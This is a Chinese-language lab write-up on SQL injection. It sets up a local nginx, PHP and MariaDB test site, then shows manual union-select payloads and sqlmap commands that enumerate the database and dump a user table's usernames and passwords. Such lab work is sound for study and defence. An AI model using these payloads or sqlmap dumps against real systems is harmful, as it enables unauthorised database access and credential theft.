了解漏洞:
什么是sql注入漏洞:
攻击者可以通过该漏洞提交一段数据库查询代码,根据程序返回的结果,获得非法数据。
分析漏洞原理:
SQL注入产生的原因是什么:
程序员在编写代码的时候,没有对用户输入内容的合法性进行判断。
一个系统存在这个漏洞会导致什么后果?
数据库中的信息将会被黑客获取,如果数据库权限设置不当,还可能被攻击者获取写权限,写入一句话木马。
漏洞的复现和利用
环境搭建:
安装nginx:dnf install nginx
安装php-cgi:dnf install php-cgi
启动php-cgi:php-cgi -b 9000 &
Cd /etc/nginx/:备份nginx.conf
将sql_injection里面的ngixn.conf替换掉之前的nginx.conf,并修改nginx.conf:user改为root
启动nginx服务:nginx(重启为nginx -s reload)
进入目录/usr/share/nginx/html:
解压task3.5 sql,将文件夹sql_injection复制到html文件中
修改sql_injection里面的1.php(mysql的root密码)和ngixn.conf(user name)
安装mariadb:dnf install mariadb
启动mariadb,新建数据库:create database sql_injection
将sql文件写入sql_injection:mysql -u root -p sql_injection < sql
修改mariadb的配置文件:vim /etc/my.cnf和vim /etc/my.cnf.d/mariadb-server.cnf
重启mariadb
Tail -f /var/log/mariadb/queries.log查看数据库日志
带有sql注入漏洞的环境:
安装sqlmap:
使用wget安装,解压即可使用:
手工注入实现:
- 判断是否存在sql注入:
- 永真 and 1=1,页面正常:
- 永假 and 1=2,页面无显示:
- 判断字段数:
依次order by 1,2,3,均正常显示:
当输入4的时候出现空白页:
说明字段数为3。
- 判断当前数据库权限:
union select user(),2,3(3为字段数):
当前数据库为root权限。
- 获得数据库库名:
union select database(),2,3(3为字段数):
数据库名为sql_injection。
- 获取数据库表名:
union select table_name,2,3 from information_schema.tables where table_schema="sql_injection"
表名为 user
- 获取数据库字段名:
union select column_name,2,3 from information_schema.columns where table_name="user" and table_schema = "sql_injection"
共三个字段,分别为id、username、password。
- 获取数据:
sqlmap注入:
- 获取数据库名:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" --dbs
- 获取表名:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection --table
- 获取字段名:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user --columns
- 获取数据:
sqlmap Union注入:
联合查询注入,可以使用union的情况下的注入
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=U --flush-session
进行的操作是猜字段数:
sqlmap Boolean Based注入
基于布尔的盲注,即可以根据返回页面判断条件真假的注入。
正在进行的操作是判断注入点:
sqlmap Time Based注入:
基于时间的盲注,即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断:
python sqlmap.py -u "http://127.0.0.1/mysql.php?id=1&submit=submit" -D sql_injection -T user -C id,password,username --dump -technique=T --flush-session
进行的操作是让此语句运行5秒: